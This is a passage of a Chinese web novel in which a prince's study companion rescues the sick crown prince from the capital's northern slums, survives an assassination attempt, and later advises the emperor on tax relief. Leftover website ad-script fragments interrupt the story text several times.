北郊身处闾阎之间,打眼望去,此地屋舍低矮,错落无章。泥泞满道,积水成洼,呼吸间隐隐还能听到几声微弱的啜泣与呻吟。 道路曲折蜿蜒,车马难行,众人便在外头栓了马,侧身走入这凄凉之地。 一路上,只见儿童嬉戏于污秽之中,老者蹒跚于狭隘巷陌。 此情此景,李意骏不禁倒吸一口凉气。 “莫要乱看。”眼见三皇子东张西望惹人注意,叶帘堂一手摁住他的肩膀提醒道,随后她转过身,向几个侍卫吩咐道:“你们分散开来,问问他们有没有见到一个十三四岁的小男孩跑进来过,又去了哪里。” “是。” 待人群分散,叶帘堂看了一眼面无人色的李意骏,道:“你跟着我,切莫乱看乱说。” 本想着这位三皇子定不愿意听她安排,但出乎意料,李意骏一言不发地点了个头,真就乖乖跟在了她得身后。 叶帘堂放心了许多,没走两步便见一位衣衫褴褛的妇人坐在自家茅草屋前,上去搭话问道:“大娘,不知您今早有没有见过一个小男孩,大概十三四岁,个子不高。” 大娘神色呆滞地摇了摇头。 叶帘堂又问了几句,见那妇人仍然只是呆坐摇头,只好道了声谢,继续向里走。 阴巷似乎怎么也走不到头,越往里越是臭气巡天。 一直一言不发的李意骏此时终于开了口,“小五……小五他胆子小,怎么敢一个人走到这里头。” “如今不是想那些的时候。”叶帘堂摇了摇头,“继续找人打听吧。” 这时,忽听身后惊叫一声,她吓了一跳,猛地转过身,见李意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骏正捂着嘴,手指哆哆嗦嗦地指向一旁的墙根。 只见那里躺了只质地不凡的缎履。 “这,这一定是小五的鞋子!” 叶帘堂也心头一紧,凑近查看,这缎履一旁便是座茅屋,此时草帘为遮,屋门黑洞洞敞着,露出里头漆黑的一角。 “奇怪。”李意骏喃喃道:“这怎么……” 他们一进城北便发现这里的茅屋全都掩着门,只有这处敞着,旁边还恰巧掉了双缎履,不得不引人多想。 叶帘堂将食指放至唇边,示意他小声一些。此时她心中略有不安,不知这门敞开到底是有意为之还是无意之举。 她迟疑片刻,最终还是贴着草壁走了进去。 屋内总有一丝若有若无的恶臭,李意骏那娇贵的鼻子哪里闻得了这个,当即便是一声喷嚏。 “谁!” 随着一道嘶哑的怒吼,叶帘堂眼角忽地闪过一道刃光,她当即将李意骏向后一扯。便听“嘶啦”一声,李意骏被划破了半截袖子。 他惊叫道:“有剑!”便双腿一软,差点跌在叶帘堂身上。 那人却没给他们放松的时间,又是一道刃光滑过。叶帘堂看清了来人,凭着前些日子在韩将军那里学的些手脚,一个手刃将小刀劈掉,另一只手将这行凶者“拎”了起来。 何至于用“拎”呢?因为此人是个面黄肌瘦的小姑娘。 叶帘堂瞥了一眼瘫在地上,成事不足败事有余的三皇子,道:“三殿下好威风。” 李意骏惊疑不定地扶着桌角站起来,看清方才划破他半截袖子的“剑”,原是一把手掌大小的小刀。 “我,我哪能看清。”李意骏的脸色有些难看。 “行了,你来拿着她。”叶帘堂左臂夹着不停挣扎的小女孩,叹道:“我手酸。” 李意骏虽然一向自视甚高,但有个难得的“见了台阶就顺坡下”的本事,立刻接过手,道:“悬逸兄你还得再练练。” 叶帘堂白他一眼,看向被李意骏束住双臂的小姑娘,问:“小友,你可曾见过一个与你差不多大的小男孩?” 小女孩龇牙咧嘴,呸了一声:“你俩个闯进我家,要做什么!” “啊,抱歉抱歉。”叶帘堂好不容易见着个头脑清晰,能正常交流的人,立刻俯下身温柔道:“我家有个弟弟走失了,在这附近找到了一只缎履,又看房门未关,找人心切,便想着进来拜访一番,实在对不住。” “缎履?”小女孩疑惑道:“缎履是什么?吃的吗?” “非也非也。”叶帘堂将其递了出来,问:“你知道这是谁掉的吗?” 小女孩在看见那鞋时停止了挣扎,忽然垂下头。 可怕的沉寂弥漫开来,叶帘堂脸色微变,有些颤抖道:“……他怎么了?” 小女孩却避开了她的问题,只是皱着眉问:“你们是他的什么人?” “我是他姐……哥哥,我是他表哥。”叶帘堂指了指李意骏,“你身后的是他亲哥。” “唔。”小女孩咬紧下唇,似乎是在纠结什么。 叶帘堂见似乎是有线索,追问道:“他……” 忽地,内室传来一阵急促咳嗽,叶帘堂下意识扭头去查看声音的源头,还没等她找到,便听到一道暗哑询问声。 “外头是……是叶悬逸吗?” 8. 蓝溪 这茅屋被一条麻绳上搭着的破布条子分出了内室与外室。 叶帘堂一听这声便连忙撩开半边破布,俯身向里走去。李意骏这手抱着这小孩,也往前探了探头。 布帘的另一侧,李意卿正孤零零地半靠在堆叠的半摞衾被之上,头发毛躁杂乱,面色憔悴。 李意骏哪里见过小太子这般狼狈凄苦的模样,当即倒吸一口凉气,差点哭出声来。 叶帘堂也觉得心头一揪,忙过去查看他的状况。 李意卿原本精雕玉琢的小脸明显呈着病态,却仍然不想邋遢示人,将自己沾了灰的衣裳理地齐整。 他握住叶帘堂的手,慢慢道:“先不必担忧我……即将入夏,这里的人们一没有庄子,二没有田地,天一热疾病盛行,恐怕是活不下去的。” 李意骏没料到他开口就提这事,一拍脑门,道:“祖宗!你自己都成什么样了,还管得上他们?” 被他钳在胳膊里的小女孩闻言冷笑一声,“是啊,您几位金枝玉叶,还是快些离开我们这等低贱之地。” 叶帘堂伸手抚上李意卿的额头,微微发烫。她皱着眉点头,“陛……你父亲很担心你,我们先回去,此事应从长计议。” 那小女孩又是一声冷笑。 李意骏下意识皱眉,收紧了钳制小女孩的双臂,怒道:“你笑什么笑!说,你对他做了什么!” 小女孩被他锢的喘不过来气,疯狂摆着腿挣扎。 “三哥,快放开她!”李意卿慌忙道:“是她救了我!” 听了这话,李意骏才冷哼一声将手放开。 小女孩跌坐在地,捂着颈脖咳嗽。李意卿对她拱了拱手以示歉意,开口解释道:“昨日听你们提到北郊,便想来这边看看,却没料到刚下马便被几人兜头罩住搜光了钱财,是这她带我跑到了这里。” 李意骏别开眼。 叶帘堂皱眉问:“我已同你讲过,城北混乱,不是常人能去的地方,你还非要……” “是,不是你们常人能去的地方,而我们这些鬼魂就生活在这里。”那小姑娘从地上爬起来,冷冷道:“说完了吗,说完了就赶紧离开,贵人们进了我这屋,算是贵脚踏贱地,委屈极了。” “你!”李意骏刚想开口,便被叶帘堂拦了下来,向着她揖了一礼,道:“多谢小友的救命之恩,在下方才出言不逊,还请小友见谅。” 语罢,从袖中掏出个镶金白玉环递给小姑娘,“救命之恩无以为报,在下身上只有这个,还请小友莫要见怪。” 李意骏将太子背了起来,刚要跨出门,便听那小女孩再次笑出声。 不似之前的冷笑,反倒像是听了个笑话似的乐开了怀。 他愤愤转过身,“怎么,难不成哪里又得罪到你了?” 小姑娘打量着手心的白玉环,乐不可支道:“没什么,只是觉得有些好笑。” “好笑?” “是啊,你们贵人眼里的世界果然与我不同。”小姑娘瘦弱的身躯看起来似乎一折就断,她低头把玩着饰品,道:“如今我连饭都快吃不上了,居然收到了个漂亮环子。” “……你可以拿它去换食物。” “很值钱吧。”她面上是笑着的,眼里却一片冰冷,她忽地将那白玉环狠狠掷向叶帘堂,玉石撞到骨头生痛,落到地上“当啷”一声碎成了几瓣。 “你到底要做什么!?”李意骏吼道。 “我什么都不做。”小姑娘对上叶帘堂惊诧的目光,冷笑道:“可是你们也不该受了我的恩,转头就把我踩进泥土里。” 叶帘堂这下算是彻底反应了过来。 她缓缓俯下身,同小女孩的目光平齐,温和道:“抱歉……你叫什么名字?“ 小女孩狐疑地瞪着她,犹豫道:“……蓝溪。” “好,蓝溪姑娘。”叶帘堂点了点头,轻声说:“我们会帮助改善这里,安顿好贫民……如果你愿意相信我。” “……” “我会尽全力。” 蓝溪别扭地移开视线。 敏感、脆弱。敏锐、要强。无需多少刺激就能让自己退行成一头恶兽。 这种事,叶帘堂也很熟悉。 “快走吧,一会儿我父亲要回来了。”蓝溪撅着嘴,将他们一伙人往出赶。 待逼仄狭小的茅屋内只剩下她一个人时,蓝溪又俯下身,将方才摔碎的玉环一段一段拾了起来,小心又珍重地藏进床头的缝隙里。 做完这一切,她痛苦地干呕了一下,似乎这样就能将那点微不足道的自尊赶出这具身体。 * “悬逸兄,你脾气也太好了。”出了门,李意骏不忿道:“她那样无礼,你还同他好好说话。要是我,早上拳头了。” 叶帘堂摇了摇头,轻声说:“她没有恶意。” “怎么没有?要是……” “好了三哥。”李意卿忽然出声打断,他蔫蔫地转头看向叶帘堂,问:“被砸到的地方还痛吗?” 叶帘堂听着他浓重的鼻音笑了笑,心想,“他自己都病成那样还不忘关心别人。”于是将袖子撩起来递给他看,道:“痛啊,痛死我了。” 李意卿看着她白皙的胳膊红了一片,自责地垂下眼,道:“抱歉,都是因为我……” “是啊。”叶帘堂耷下袖子,转头瞧了三皇子和太子一眼,嘲道:“您二位兄弟不是都好奇这北郊到底长什么样吗?这回算是如愿以偿了,趁着现下好好瞧吧,瞧瞎了算。” “……” 到底是快要入夏,没走几步便淅淅沥沥下起雨来,几人都没带伞,只得冒雨匆匆前行。 雨中忽然传来马蹄声,之间迎面有人驾马走来,一行人只得贴住墙角给马让道。李意骏低声抱怨道:“就这么窄点路,还非要骑马。” 李意卿没精打采地趴在李意骏背上,静静等待着骑人经过,忽然眼角一瞟,见那人跨上的刀不知何时滑了半截出鞘。 雨声渐响,他暗暗将李意骏压低了些,顺手将叶帘堂拽了拽。 “嗯?”就在李意骏疑惑转头时,经过的马骤然发出嘶鸣声,同雨声混合在一起,那骑人忽地动了。 只见马头豁然调转方向,胯间刀已然脱鞘,照着他的方向就是一记砍。 身后的侍卫反应快,长刀铮然出鞘将那人抵了回去。 李意卿猛地向后一仰,扯着李意骏向后连退数步。叶帘堂迅速回过神,猛地一拍李意骏,喊道:“发什么呆,还不快跑!” 趁着侍卫拖住时间,李意卿从三皇子背上跳下来,拖着他便向叶帘堂的方向跑。 那骑人蒙着面,雨天视野略微受阻,再加上巷陌狭窄,那马一时半刻转不出来,倒留给了叶帘堂一行人逃跑的机会。 侍卫边跑边道:“咱们一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 行人挤在这窄巷目标太大,而且根本跑不快,不如分散开来。” 李意卿拽着叶帘堂,刚好见斜前方有另一条幽僻小路,便拽着她闪身跑了进去,李意骏同另一侍卫则。 身后马蹄声渐渐响起,二人身量小,一合算便藏身进临近茅屋门口的一堆大竹筐里,用斗笠遮着头顶。 雨水顺着斗笠的缝隙淌进脖颈里,叶帘堂捂住嘴放轻呼吸,侧头向身旁看去。李意卿本就发了烧,此刻又是剧烈运动又是淋雨,显得面色尤为不好。 叶帘堂替他擦了擦脸上的水,让他靠在肩头休息,自己则透过竹篮的细小缺口,静静注视着巷里的情况。 那蒙面骑人大概是奔去了李意骏那个方向,那边有侍卫随行,应该不会出现差池。 叶帘堂轻轻呼出一口气,呆在筐里也不敢妄动,只是将外袍脱下来想为太子盖上。 李意卿当然不肯接受,二人用气声窸窸窣窣拉扯了半天,最终决定挤在一起,一人盖一半。 雨一时半会儿停不下来,两人的里衣早已湿得不成样子,小风一吹便冻得发抖,手脚泡在水里也都难以活动。 天色昏昏,一时间只剩下他们细微的呼吸与雨水砸在斗笠上的“啪嗒”声。 叶帘堂忽然左肩一沉,见李意卿脸色苍白如纸,显得眉间那颗朱砂痣愈发殷红,当即慌了神,轻轻拍了拍他的侧脸。 “殿下,殿下,莫要睡着了。” 李意卿眼皮上下打架,喃喃道:“我没睡,我头晕。” 叶帘堂搓了搓他的手指,正准备起身时,巷中忽然传来凌乱的脚步声。她顿感不妙,立刻调整姿势,一双眼隔着竹筐在雨中搜寻。 “跑哪去了?” “太子不在那边,那就这剩下这里了。” “他们跑不远的。” 叶帘堂瞧见两个蒙面人走进小巷,立刻紧紧捂上嘴,想:“他们说‘太子不在那边’,也就是说,他们不仅知晓自己的身份,而且是有预谋的袭击太子。” “咦,那边怎的有好些个竹筐?” “走,去搜搜。” 叶帘堂的心几乎要跳出来,握着李意卿的手也不自觉攥紧。 就在那两人看完检查完前头几个,正要伸手揭开他们这筐时——叶帘堂小腿猛地发力,让竹筐重心不稳向右倒去,顺着力滚开了那人的手下。 “哼,果然在这!” 叶帘堂眼疾手快,立刻拽着李意卿爬出竹筐,向巷口奔去。 蒙面人的怒吼从身后传来:“哪里走!” 说话间,那人大跨三步,举起发亮的长刀,就要当空劈下。 叶帘堂一手拉着快要晕倒的李意卿,忽觉头顶厉风袭来,登时双腿发软,一个踉跄跌倒在地,刀锋划破了她的手掌,一串鲜红的血珠滴进雨地里。 刀刃重重砸在地上,发出令人牙酸的摩擦声。对方显然是不想给他俩留活命的机会,刃光一闪又要再次劈下。 叶帘堂顾不上手心的疼痛,只觉得头皮一麻,自觉吾命休矣。 然而预想中的剧痛没有袭来,叶帘堂睁开半只眼向上看,发现面前的蒙面人自喉间破出一支羽箭,鲜血洒了她满脸。 身旁,长刀“哐啷”一声掉至被雨水斑驳的泥泞路上。 而射出这支箭的,正是她课上练习用的稍弓。 叶帘堂睁大了眼睛,“韩将军!” 9. 春雨 只见韩将军立于巷口,身后跟着早已目瞪口呆的四皇子李意乾。 “叶侍读,瞧好。”韩将军再次搭弓,将另一侧准备偷跑的蒙面人一箭穿了腿,一箭折了胳膊。完事后他看了叶帘堂一眼,向她扬了扬手中的稍弓,笑道:“早和你说过了,不比长弓差吧?” 叶帘堂捂着受伤的右手,侧头确认李意卿没事后,才抹了一把沾雨带血的脸,在雨中“哇”地一声哭了出来。 李意乾接过宫人为他举着伞,急忙向他们跑来,走近俯身一摸太子的额头,惊叫道:“天爷,烫成这样!” 韩将军也上前查看,将李意骏一手背到背上,叹道:“好了,别哭了。剩下的交给禁军处理,我们别站在这里碍事。” 叶帘堂接过李意乾递来的干净帕子,混着雨水将脸上的血擦净了,跟着人慢慢往出走。 她低头看了看方才从韩将军手里接过的稍弓,她心跳得厉害,胸腔中蓦地腾起一片说不清道不明的情绪,一呼一吸之间愈来愈响。 那不是害怕,而是一种血液加速及情绪高涨的力量共同促成的急切求胜心,一种仓促鲁莽的上进心。 若是能强大些,今日便不会像只被猫撵得窜来窜去的小老鼠,也不会让本就生着病的李意乾在雨水里泡那样久的时间。 若是射石饮羽,她也可以像韩将军今日这般,生杀予夺么? 还未等她细细琢磨这层感受,他们便已走到了停在城北外郊的马车旁。李意骏面色苍白地过来查看了一番他们的情况,轻轻松了口气。 在北郊闯过鬼门关的三个少年一同上了马车,横七竖八地摊在座椅上,也顾不上什么礼乐衣冠了,只想好好睡一觉。 李意乾给叶帘堂和太子一人罩了件外衣,双手抱在胸前,严厉地瞪着太子。 四皇子李意乾本就生得眉目狭长,此刻竖眉瞪人的模样更是让人心里发怵。叶帘堂和李意骏不自觉往角落缩了缩。 只听李意乾冷冷开口:“小五长大了,出息了,敢一个人往北郊跑,下一趟是去哪?上天吗?” 李意卿蔫蔫地点头,老实道:“我再也不敢了。” “若不是三哥和叶侍读不辞艰险将你捞出来,我看你病死在里头都没人知道!” 李意乾正准备将太子从头到脚斥责一遍,李意骏却忽然插了话。他低声道:“是我的错,我不该去找悬逸问北郊的事情。” 他此言一出,几人都是一愣。 “是我昨日夜里去找悬逸提北郊的事情,被小五听见了,所以才……” 一阵静默后,李意乾锐利的眸光便朝他扫来,气道:“好啊!原来是你!我就说小五怎会无缘无故跑去那里!” “早先教唆我同你一起去北郊,我没答应,你便将恶爪往叶侍读身上伸,还让小五听见了!”李意乾愤愤,“有你这样做哥哥的吗!” 虽然在叶帘堂眼里,这三皇子李意骏一直是个一肚子坏水的二百五,平时没事就爱想鬼点子,还奢靡无度,纠结了几百人为他养那一庄子马,但说到底只是个贪玩捣蛋的少年纨绔,心眼不坏。 “不,是我自己心智不定。三哥找的是悬逸,悬逸都没去,我却偏偏跑去了。”李意卿出声道:“还是我的错。” 听了这话,李意骏羞愧难忍地低下了头,不知为何脸色十分苍白,他轻声喃喃:“不,不止。其实……其实……” “嗯?什么?”李意乾皱眉问。 李意骏嘴唇微微颤抖,最后还是什么也没说,只是将脑袋扎进手掌之中,似乎是十分懊恼,沉默了许久才道:“这次多亏了悬逸兄。” 叶帘堂没想到话题又扯到了自己身上,连忙摆手道:“哪有哪有,我分明也怕得不行。” “怕?我看悬逸倒是英勇得很。”李意卿在角落低声笑道。 “行了,太子殿下还是赶紧休息吧。”叶帘堂有些不好意思,飞快回身将人嘴堵住。 “你们都安生些吧。”李意乾揉了揉眉心,叹气道:“这次父皇发了好大的火。” 他瞥一眼李意卿,“你倒是病得巧,算是拿了张免死金牌。”说完又瞪了一眼李意骏,道:“三哥恐怕就没那么幸运了。” 李意骏不知为何再次低下头,良久才道:“……应该的。” 叶帘堂忙问:“我呢,那我呢?” 李意乾又恢复了以往端正的模样,想了想道:“侍读有功,父皇自然不会为难你。” “那便好,那便好。”叶帘堂拍着胸口小声道。 这话说完,马车内便逐渐安静了下来。几个少年虽是累得东倒西歪,除了李意乾外,个个都衣冠不整,形容狼狈,但心里却是前所未有的踏实与宁静。 马车驶进宫时天色已暗,叶帘堂睡在翠居的紫檀木床上,伸手给林太医检查伤口。 林太医在伤口上紧紧缠了几圈细布止血,待血止住,再用盐水为她清理伤口。 “哎呦,痛!”叶帘堂一个没忍住便喊了出来。 林太医笑着,道:“叶大人您就忍忍吧,下次可别再空手接白刃了。” 语罢,他便用干净的纱布替她将伤口裹好,侧头吩咐着安排草药外敷。 “大人,我这手是不是不能写字了?”叶帘堂语气是小心翼翼,但仔细还能听出几分高兴来。 “是,不可见水、不可用力。”林太医捋着白胡子,慢慢道:“还需忌嘴,待老臣拟好方子,大人再细细看来。”说完便拱手告退了。 睡前,待陶青替叶帘堂抹好了药膏,便沉沉睡去。 夜里无梦,因着取消了晨课,便一觉睡至日上三竿。 起床后,叶帘堂先是屏退众人,好好洗了个澡,罩上件芽绿宽袍,问陶青,“太子殿下可有大碍?” “听说是一夜高热,清晨才退了下去。” “那便好。”叶帘堂临案翻了翻书本,觉得有些无聊,便道:“太子殿下起了吗,我去拜见。” 昨日下了那样长久的一场春雨,此刻正是万物如洗,心旷神怡。 叶帘堂到明德殿时,见隆生候在檐下,便走过去问道:“殿下如今怎么样了?” 隆生见着她,便引至前院坐下,添上一杯糙茶,回道:“现下已经退了烧热,陛下在里头看着呢。” 叶帘堂接过茶盏便抿了一口,道:“如此,我在这里候着便成,你快回去,小心叫你伺候却找不到你人。” 隆生笑着应了一声,揖了一礼便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 站回了廊下。 叶帘堂坐在院内石凳上,数了会儿草叶,又听了会儿鸟叫,实在无聊的不行,便端起旁边的棋盘,自己同自己下五子棋。 她正攥着棋子看棋盘局势,头顶忽然传出一个声音,“你这是在玩什么?” 叶帘堂一抬头,看见是李意卿,惊道:“咦?你怎么出来了,不是说陛下在里头?” “早都走了。”李意卿坐在她对面的石凳,脸色看起来还是有些苍白。 “这里风大,你高热才退,不能在这里吹。”叶帘堂急忙起身道:“隆生,快扶殿下回去。” “不回不回。”李意卿摆了摆手,“在殿里闷了一整日,出来透透气。你方才还没回答我,这是在下什么?” 叶帘堂有些不放心地坐下,下意识看向自己的棋盘,道:“五子棋……哦,在你们阆京叫连珠。” “啊!都怪你!”叶帘堂看着满盘残局,不满道:“我方才正同自己厮杀的激烈,你来与我说话,忘了下到哪了。” 李意卿嘿嘿笑着,将棋盘一抹,道:“这有何难,你再同我另起一盘不就好了。” 微风拂动二人的袖袍,叶帘堂见李意卿从方才便一直背着手,奇怪道:“手里藏着什么?” 李意卿故弄玄虚地笑笑,凑近道:“手伸来,送你个东西。” 叶帘堂虽是疑惑着,但还是照办伸出了右手,忽地反应过来这只手上还缠着纱布,又将左手递了过去。 李意卿看到她右手的纱布时眼神一暗,闷闷道:“还痛吗?” “早好了。”叶帘堂又将左手往前伸了伸,问:“礼物呢?” 左手传来一阵冰凉,她定睛一瞧,竟是个玲珑小巧的金兔子摆件。 这兔子头脑浑圆,线条流畅,其耳长而直立,微微后掠,似有拂风之态。 “哇,哪来的?”叶帘堂惊奇道。 “昨日在城北买的。”李意卿轻声说:“昨日听三哥说那有个新起的武器铺,你不敢去,我便想着去替你看看,却没想到惹了这么多麻烦,还害你受伤。” “武器铺我也没寻着,只见着了做这么个小玩意的铺子……” 他说着说着便低下头,“抱歉。” 叶帘堂忽然一时哑了,张了张口却说不出话来。“你你我我”地结巴了半天,最后长叹一口气,问:“何至于此啊……” 李意卿低着个头,慢吞吞道:“我只你一个朋友。” 叶帘堂一口气提在喉间上不去下不来,最后摇了摇头,严肃道:“我十分感谢殿下你待我这般好。可是,昨晚我分明同你说了那里混乱,你却非要去,让你的哥哥们,还有陛下担惊受怕,这样做是不好的。” “我知晓了。”李意卿低着头,“你莫要生气。” 清亮的春光落在他身上,李意卿是被整个阆京包裹在层层鹅绒里保护的明珠,没有丝毫在红尘里滚过的人味,总是带着一身生动的蓬勃与莽撞,与人相处时眼睛里永远像铺满了一湖春水,闪着亮晶晶的真诚与善良。 美好得直击人心。 二十二岁女社畜叶帘堂无法抵御,只能无奈地叹一口气,起身将李意卿卷起的宽袍袖子放了下来,心想:“长不大。” 10. 政税 五月日色融融,万物并秀。 明昭帝批阅奏折时不喜旁人在场,内侍太监潘福便候在雪芸殿外的花窗下头。待听到里头有披衣起身的动静时,连忙躬着身子走进,替皇帝灭了香炉,又将窗户都敞开,散了屋内沉闷的气氛。 明昭帝下了廊子,转进偏殿坐下。潘福双手呈上一个小本,道:“太子殿下递来的。” “太子?”明昭帝有些意外地挑了挑眉,接过册子翻看。 “约莫还是城北的事。”潘福低声道。 “修路,建房,开荒地……嗯,写得倒是头头是道。”明昭帝轻声笑笑,“哪有那么容易。” 潘福替他倒了茶,也笑着说:“太子殿下这是想为陛下分忧呢。” 明昭帝不置可否,回想起李意卿前几日才好彻底的高烧,皱眉沉声问:“那日捉来的刺客吐出什么了没有?” 潘福低声回:“没,据说倔得很,上刑后晕了三次,还是什么都不肯说。” “倒是个忠心的。”明昭帝冷哼一声,“此事绝非意外,崇文馆那小孩说,他听到那刺客提过太子的身份。” “是,叶侍读。”潘福接过皇帝的话。 “嗯,他是个机灵的。”明昭帝撂了小本,揉了揉眉心,道:“叫他来,说朕有事寻她。” “是。”潘福拱手退了下去。 * “什么,陛下找我?”叶帘堂刚放了早课,正准备去太子殿里蹭她早已心心念念的小鸡炖蘑菇,却没想放了书箱便被皇帝身边的人堵在了翠居门口。 “是,还请叶大人随咱家去一趟。”小太监老实地低着头。 想起明昭帝,叶帘堂心里头就有些发怵。这位皇帝虽面上温和,平日里更未曾对她疾言厉色过,但她还是觉着皇帝深不可测,见到就会紧张。 “这便去。”叶帘堂一边揣摩着皇帝的心思,一边拱了拱手,道:“还请您带路。” 再次来到雪芸殿,见到明昭帝,虽与上次的身份不同,但心境却十分相似——都是一把子前途未卜的心酸感。 叶帘堂对着上座的明昭帝行礼,明昭帝只是将目光淡淡落在她身上,招了招手道:“叶侍读,你来。” 叶帘堂紧张地向前挪了两步。 天子呼传,近身侍奉,是多少臣子求也求不来的殊荣,偏偏这叶帘堂每次见着他都像是羊入虎口的受惊小兽一般,犹犹豫豫又不敢违逆。 明昭帝觉得有些好笑,故意将脸一沉,问:“怎么,没听见?” 叶帘堂果然抖了抖,加快脚步,在翘头书案前站好。 “手伤好些了吗?”明昭帝忽然开口。 “谢陛下关心,已经好得差不多。” “那便好。”象征性的关心后,他拣起案角的一册小本递给她,道:“你看看,有何想法?” 叶帘堂伸手接过,将小本一翻,这不正是前些日子同太子一起商议写出的,针对城北的共同富裕计划嘛! 她细细检查一遍,其中既没有错别字也未曾挑战封建纲常,这明昭帝在午饭时间叫她来问些似是而非的话,到底是抽了哪门子疯? 叶帘堂小心翼翼抬眼,道:“回陛下,写,写得挺好的啊。” 明昭帝用右手抵住太阳穴,闻言却摇了摇头,“纸上谈兵而已。” “近年来,水旱蝗蝻交相肆虐,北方边患时起,军需浩繁,更不提田畴荒芜,天下百姓嗷嗷待哺。”明昭帝无奈地笑了笑,叹道:“国库空虚,已至极点。” 叶帘堂皱眉,似是在思索什么。 “阆京之地,本为万邦之表率,百业之中心。城北疾苦,百姓流离,早已乱成了朕心头的一扭死结。”明昭帝叹了口气,沉吟道:“今财用不继,难以为继往日之盛,若朕在此时于城北大兴土木,以示皇恩浩荡,岂不更增民负?” “叶侍读,太子还小,不知天下形势,你不该由着他乱想。”明昭帝睨她一眼,慢慢道:“回去后,你与他各安本分,城北之事朕自会想办法。” 叶帘堂垂首听着话,心里想:“看来明昭帝是猜出这本呈请是她同太子一同编写的了,但……” 她心中纠结,前些日子太子城北遇刺的事还历历在目,可见阆京局势动荡,自已势小无依,保不齐哪天就得罪了不该得罪的人……不过,有陛下这个大腿在,自己穿越这一趟也不能白穿,起码得做点什么事实来吧。 “陛下。”叶帘堂鼓足胆量,出声道:“臣有微言。” 明昭帝意外地看了一眼她,道:“你说。” 叶帘堂稍稍整理了一下思路,不急不缓地道:“言曰:‘减租薄赋,与民休息’,如今民生凋敝,陛下不如常施减税之策,让百姓负担稍减,得以安心耕作,如此也可带动商业复苏。” 明昭帝略微沉吟道:“财税大事,怎能轻易变更?” 叶帘堂撇了撇嘴,心想:“这话我算是听出来了,这皇帝想要天下太平,既不愿意变更政法,又不愿意花国库的银子,真是又扣又死板。” 她拱了拱手,道:“陛下,若是想带动发展,无非是这几点。其一,减税恤民,以安民心;其二,兴修水利,以利农耕;其三,鼓励农耕,广开荒地;其四,招商引资,常设集市。除却减税之法,其余三条都需资金支持……” 叶帘堂转眸看向明昭帝,见他蹙眉深思,便再接再厉道:“如今民生多艰,赋税繁重……臣有一法,陛下不如差人将这阆京百姓官员一一登记在册。” “哦?”明昭帝抬眼,“如何登记?” “将每户人口与土地尽数登记在册,不仅要记,还需实地见了,量了,如实记。”叶帘堂道:“如此,民之贫富强弱一目了然,官府据此分档定赋税,调徭役,公开而收,百姓便能无怨。” “这……” “陛下,此举可不止减缓亏空这一个好处。”叶帘堂见明昭帝犹疑,赶忙补充道:“二者,若是户籍严明,则奸宄无所遁形,盗贼难以潜伏,官府便能得儿治之,百姓得以安居,社会也因此而宁。” “这其三,此举还可促农耕之兴。民有定籍,则知其所归,安心耕作于田畴之间,不致流离失所。如此,五谷自然丰登,国计民生赖以充足。” 说完这些,叶帘堂心中泛酸,苦笑着想:“老百姓其实是天下最能吃苦的人,不求安居乐业,只求有一口饭吃,有一身衣裳穿,便能将日子勤勤恳恳地过下去了。观历朝历代农民起义,哪个不是将人逼得没有活路?” 一抬眼,明昭帝正意味不明的盯着她看,开口问:“你如何能想到这些?” 如何?当然是二十几年应试教育的馈赠啦。 叶帘堂脑子里急忙编者假话,干笑道:“臣曾偶然瞧见过一本古籍……对,都是古人的智慧,古人的智慧。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >明昭帝笑了笑,眸中闪过赞许,“想你十七岁便可考进会试,实在是不可小觑,做太子侍读是否委屈了你?” “不委屈不委屈!”叶帘堂急忙摆了摆手,道:“臣这太子侍读做得挺开心的。” “是吗?”明昭帝似笑非笑道:“若朕执意让你到御前来……” 叶帘堂脑中猛地闪过前些日子太子对她说“我只你一个朋友”这话,为难道:“陛,陛下,臣……” 明昭帝观察着叶帘堂一会儿白一会儿青的脸色,抚掌大笑道:“好了,朕在同你玩笑,莫怕。” 叶帘堂:“……” “有你在太子身边,朕也放心。”明昭帝笑着垂下眼帘,轻声道:“从前朕只当你是个有才情的小孩儿,现下看来,是小瞧你了。” 叶帘堂慌忙道:“臣惶恐。” “朕会同朝臣们商讨你的建议。”明昭帝抬手拍拍她的肩膀,欣慰道:“你这样轻的年纪便有如此眼光,现下好好磨练,日后定有你的一番天地。” “臣定当鞠躬尽瘁。” “好了,想必太子正等着你用午饭?”明昭帝透过花格瞧向窗外,笑道:“朕瞧着隆生在外头站了许久,定是太子派来催你的,这便退下去用饭罢。” 叶帘堂顺着他的目光看向窗外,果真看见隆生立在檐下,正无聊地玩着腰间的穗子。 她不好意思地笑笑,呼了一口气,问道:“陛下,臣有一言,不知当讲不当讲。” “但说无妨。” “太子殿下乃是国之根本,陛下不该将其置于溺爱之中,藏于皇城之内,不谙世事。”叶帘堂憋着一口气,继续道:“殿下虽日日学习于诸臣之间,却从未听过朝堂之政,臣以为,若想太子脱离纸上谈兵,能够独当一面,便该让他知晓民间疾苦,国事艰难。” 她揖着礼,面朝地面,看不见明昭帝的表情。 静默良久后,忽听上首长叹一声,道:“朕又何尝不知,可是……” “太子殿下非但承天之序,亦当肩国之重,不可使之徒知诗书礼乐,而不知世事之艰难,政务之繁剧。”叶帘堂垂首道:“还请陛下许太子访于群臣,以求至当。如此则太子之智识日增,才干日长,将来继承大统,必能安邦定国,垂拱而治。” “罢了。”明昭帝缓缓道:“你且先退下。” “是。”叶帘堂弓着身子,没敢抬头看明昭帝的表情,缓步后退至门边,飞也似的逃了出去。 潘福在叶帘堂退出去后进来伺候茶水,见明昭帝眉眼生动,自己抢过了潘福手中的茶壶添好了茶,不自觉也乐着问:“陛下心情很好。” 明昭帝洋洋得意地笑道:“朕为卿儿寻了个好伴读。” 潘福摇了摇头,纠正道:“哪里是您寻的,分明是太子殿下自个儿跑来找您求来的。” “怎能如此说,若是朕不点头,那小孩能成太子侍读?”明昭帝不满道。 “哎呦,您这怎么还耍起小孩脾气来了?”潘福自幼便跟在明昭帝身边,也不怕说错话,笑着接话道:“是,是。还是陛下您判断的英明。” “那是。”明昭帝笑着拍了一掌潘福,“少说两句!等太子下了晚课唤他过来,朕亲自教他朝堂之事。” “这般,会不会……” 